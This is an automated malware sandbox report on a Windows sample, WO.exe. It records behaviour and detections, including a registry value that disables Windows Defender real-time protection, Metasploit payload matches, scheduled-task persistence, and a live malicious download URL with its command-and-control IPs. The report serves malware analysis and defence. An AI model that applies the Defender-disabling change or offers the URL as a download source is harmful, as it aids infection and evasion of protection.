Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection

Registry value created: DisableRealtimeMonitoring 1

Jump to behavior

Remote Access Functionality

Yara detected Metasploit Payload

Source: Yara match	File source: 53.0.reddit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.reddit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 53.2.reddit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.reddit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.0.reddit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.reddit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.reddit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.reddit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\reddit.exe, type: DROPPED
Source: Yara match	File source: 00000006.00000002.2895821708.0000000000690000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000035.00000002.2895737974.0000000000580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2895620558.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2895574683.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000035.00000002.2895573514.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2895801436.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.1732936032.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.1807451210.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2895931053.0000000000690000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000035.00000000.2341032369.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.1807295375.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2895627672.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	1 Native API	11 Scripting	1 DLL Side-Loading	3 Disable or Modify Tools	OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Windows Service	11 Windows Service	4 Obfuscated Files or Information	Security Account Manager	21 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Service Execution	1 Scheduled Task/Job	11 Process Injection	2 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Bypass User Account Control	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
WO.exe	58%	ReversingLabs	Win64.Trojan.Boxter
WO.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\reddit.exe	100%	Avira	TR/Patched.Gen2
C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\reddit.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\reddit.exe	89%	ReversingLabs	Win32.Backdoor.Swrort
C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	58%	ReversingLabs	Win64.Trojan.Boxter

Source	Detection	Scanner	Label
https://f.neko.pe/file/~d35Ci~adCQqRGW	0%	Avira URL Cloud	safe
https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe	100%	Avira URL Cloud	malware
http://www.zeustech.net/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
f.neko.pe	185.151.51.214	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	reddit.exe, 00000006.00000002.2895673835.0000000000415000.00000002.00000001.01000000.00000005.sdmp, reddit.exe, 0000001B.00000000.1807381222.0000000000415000.00000002.00000001.01000000.00000005.sdmp, reddit.exe, 0000001C.00000002.2895738528.0000000000415000.00000002.00000001.01000000.00000005.sdmp, reddit.exe, 00000035.00000000.2341086873.0000000000415000.00000002.00000001.01000000.00000005.sdmp, reddit.exe.5.dr	false		high
https://f.neko.pe/file/~d35Ci~adCQqRGW	WO.exe	true	Avira URL Cloud: safe	unknown
http://www.apache.org/	reddit.exe.5.dr	false		high
http://www.zeustech.net/	reddit.exe.5.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.151.51.214	f.neko.pe	United States		55293	A2HOSTINGUS	true
147.185.221.23	unknown	United States		12087	SALSGIVERUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580052
Start date and time:	2024-12-23 19:53:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	57
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	WO.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@102/44@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 110 Number of non-executed functions: 126
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: WO.exe

Simulations

Behavior and APIs

Time	Type	Description
13:53:56	API Interceptor	112x Sleep call for process: powershell.exe modified
18:54:05	Task Scheduler	Run new task: RunRedditLogon path: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe
18:54:05	Task Scheduler	Run new task: RunRedditMinute path: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
147.185.221.23	reddit.exe	Get hash	malicious	Metasploit	Browse
	dr2YKJiGH9.exe	Get hash	malicious	XWorm	Browse
	jSm8N1jXbk.exe	Get hash	malicious	S400 RAT	Browse
	enigma_loader.exe	Get hash	malicious	XWorm	Browse
	exe006.exe	Get hash	malicious	SheetRat	Browse
	yF21ypxRB7.exe	Get hash	malicious	XWorm	Browse
	9GlCWW6bXc.exe	Get hash	malicious	XWorm	Browse
	fiPZoO6xvJ.exe	Get hash	malicious	XWorm	Browse
	EternalPredictor.exe	Get hash	malicious	Blank Grabber, Skuld Stealer, XWorm	Browse
	eternal.exe	Get hash	malicious	XWorm	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
A2HOSTINGUS	v4BET4inNV.vbs	Get hash	malicious	GuLoader	Browse	209.124.66.28
	t5lpvahkgypd7wy.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	209.124.66.28
	Memo - Impairment Test 2023 MEX010B (5).js	Get hash	malicious	Unknown	Browse	66.198.240.43
	236236236.elf	Get hash	malicious	Unknown	Browse	68.66.200.215
	sh4.elf	Get hash	malicious	Unknown	Browse	68.66.210.5
	rebirth.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	185.148.129.20
	https://sunnycloudtechnologies.com/suncn/msd.html	Get hash	malicious	HTMLPhisher	Browse	68.66.226.73
	rebirth.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	185.149.112.83
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	209.124.66.28
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	209.124.66.28
SALSGIVERUS	reddit.exe	Get hash	malicious	Metasploit	Browse	147.185.221.23
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	147.176.119.110
	horrify's Modx Menu v1.exe	Get hash	malicious	XWorm	Browse	147.185.221.24
	fvbhdyuJYi.exe	Get hash	malicious	XWorm	Browse	147.185.221.24
	8DiSW8IPEF.exe	Get hash	malicious	XWorm	Browse	147.185.221.24
	twE44mm07j.exe	Get hash	malicious	XWorm	Browse	147.185.221.18
